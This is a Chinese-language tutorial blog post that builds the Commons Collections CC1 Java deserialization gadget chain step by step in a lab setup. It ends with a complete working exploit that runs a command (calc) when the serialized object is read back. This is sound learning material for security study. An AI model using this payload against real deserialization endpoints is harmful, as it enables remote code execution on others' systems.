CC1

CC1

CC链指利用Apache Commons Collections中特定类进行反序列化攻击的链条,该链可在反序列化过程中执行任意代码

实验环境

  • JDK 8u65
  • commons-collections 3.2.1
1
2
3
4
D:\JAVA\JDK\jdk_1.8.0_65\bin>java -version
java version "1.8.0_65"
Java(TM) SE Runtime Environment (build 1.8.0_65-b17)
Java HotSpot(TM) 64-Bit Server VM (build 25.65-b01, mixed mode)
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>com.zhuwenxiu</groupId>
    <artifactId>unserialize</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>
	
    <!-- commons-collections 3.2.1的起步依赖 -->
    <dependencies>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>
    </dependencies>

</project>

反序列化过程要调试JDK源码,源码文件从openjdk下载,加载到IDE的lib源,调试过程中就可以看到变量名了

CC链尾命令执行

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class Main {
    public static void main(String[] args)
            throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException {
        // 常规命令执行
        Runtime.getRuntime().exec("calc");

        // 反射命令执行
        Runtime r = Runtime.getRuntime();  // 获取Runtime类
        Class c = Runtime.class;  // 反射Runtime
        Method method = c.getMethod("exec", String.class);  // 通过Runtime.class获取方法exec,封装到Method
        method.invoke(r,"calc");  // 调用类r的方法exec,这里r是Runtime类,参数是calc

        // CC反射
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
    }
}

InvokerTransformer 类在开发中的主要用处是将特定的方法调用应用于一组对象。它将方法调用封装成一个转换器,使得你可以轻松地在处理集合或对象时调用某个方法。

静态方法transform中封装了反射调用函数的逻辑,调用方法的名称和参数基于InvokerTransformer类的构造方法所传的参数

只要传的参数合适能够调用任意方法

链条完善

transform

TransformeredMap的方法checkSetValue调用了方法transformvalueTransformer是类的常量,取决于构造方法的参数

静态方法decorate调用了有参构造方法

checkSetValue

子类valueTransformersetValue调用了父类的方法checkSetValue,这里要对Entry进行遍历调用setValue

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
// 当前exp手动调用setValue
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class demo {
    public static void main(String[] args) {
        Runtime r = Runtime.getRuntime();

        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        HashMap<Object,Object> map = new HashMap<>();
        map.put("key","value");
        Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);

        for(Map.Entry entry:transformedMap.entrySet())
        {
            entry.setValue(r);  // 入口点
        }
    }
}

setValue

现在要找一个类能够遍历集合的键值对,定位到AnnotationInvocayionHandle.readObject,这正好也是反序列化的入口

AnnotationInvocationHandler重写方法readObject并调用了setValue,这里没有指定权限则权限为default,AnnotationInvocationHandler只能在本类实例化,需要通过反射在其它类实例化

memberValues可控,设为transformedMap进行遍历

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// 有瑕疵的完整反序列化
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class demo {
    public static void main(String[] args)
            throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
        Runtime r = Runtime.getRuntime();  // Runtime无法序列化

        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        HashMap<Object,Object> map = new HashMap<>();
        map.put("key","value");
        Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
//        for(Map.Entry entry:transformedMap.entrySet())
//        {
//            entry.setValue(r);  // 需要传Runtime.getRuntime
//        }
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object obj = constructor.newInstance(Override.class,transformedMap);
        serialize(obj);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        Object obj = ois.readObject();
        return obj;
    }
}

当前exp存在两个问题

  • Runtime类没有实现Serializable参与反序列化流程,Class类实现了Serializable接口,那么可以使用Runtime.getRuntime().getClass()进行反序列化

  • setValue需要传Runtime.getRuntime(),但是在AnnotationInvocationHandlersetValue的参数已经写死

  • 绕过AnnotationInvocationHandlerreadObject的两个if

ChainedTransformer

从代码的复用性角度来说,应当减少这种复用的工作量,于是使用 ChainedTransformer 这个类

1
2
3
Method getMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getMethod);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

ChainedTransformertransform可进行上述代码的遍历调用,只需要在构造函数中传一个Transformer数组,数组中都是InvokerTransformer对象即可

1
2
3
4
5
6
7
Transformer[] transformers = new Transformer[]{
    new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime",null}),
    new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
    new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);  // transform传最早的Object

if绕过

typeAnnotationInvocationHandler构造方法的第一个参数,这里要求所传注解的成员类型不为空,显然Override的成员类型为空,更换为Target

1
map.put("key","value");  ==>  map.put("value","key");  // 保证键的值为value即可

ConstantTransformer

该类的方法transform无论传什么都会返回构造方法所传的对象

transformers中添加

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
// 完整exp
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class demo {
    public static void main(String[] args)
            throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),  // 新加
                new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object,Object> map = new HashMap<>();
        map.put("value","key");  // 键名改为value
        Map<Object,Object> transformedMap = TransformedMap.decorate(map,null, chainedTransformer);  // invokerTransformer改为chainedTransformer

        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object obj = constructor.newInstance(Target.class,transformedMap);

        serialize(obj);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        Object obj = ois.readObject();
        return obj;
    }
}

总结

命令执行的演化过程

  • 直接调用

    1
    
    Runtime.getRuntime().exec("calc");
    
  • 反射调用

    1
    2
    3
    4
    5
    6
    7
    8
    9
    
    Class c = Runtime.class;
    // 获取getRuntime()
    Method method = c.getMethod("getRuntime",null);
    // Runtime实例化  第一个参数传null表示没有任何对象调用改方法,该方法属于类,即静态方法  对应Runtime.getRuntime()
    Runtime r = (Runtime) method.invoke(null,null);
    // 获取exec()
    Method execMethod = c.getMethod("exec",String.class);
    // 调用exec()  r相当于Runtime.getRuntime()  这里相当于Runtime.getRuntime().exec("calc")
    execMethod.invoke(r,"calc");
    
  • AnnotationInvocationHandlertransform隐式调用

    本质上是封装反射细节

    1
    2
    3
    4
    5
    6
    
    // 获取getMethod()
    Method getMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
    // getMethod调用getRuntime()
    Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getMethod);
    // Runtime调用exec("calc")
    new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
    
  • ChainedTransformertransform循环调用

    1
    2
    3
    4
    5
    6
    7
    8
    
    Transformer[] transformers = new Transformer[]{
        new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime",null}),
        new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[{null,null}),
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
    };
    
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    chainedTransformer.transform(Runtime.class);  // transform传最早的Object
    

完整的链条

AnnotationInvocationHandler.readObject —> memberValue.setValue —> transformMap.checkSetValue —> InvokerTransformer.transform

后续通过调试进一步加深理解

使用 Hugo 构建
主题 StackJimmy 设计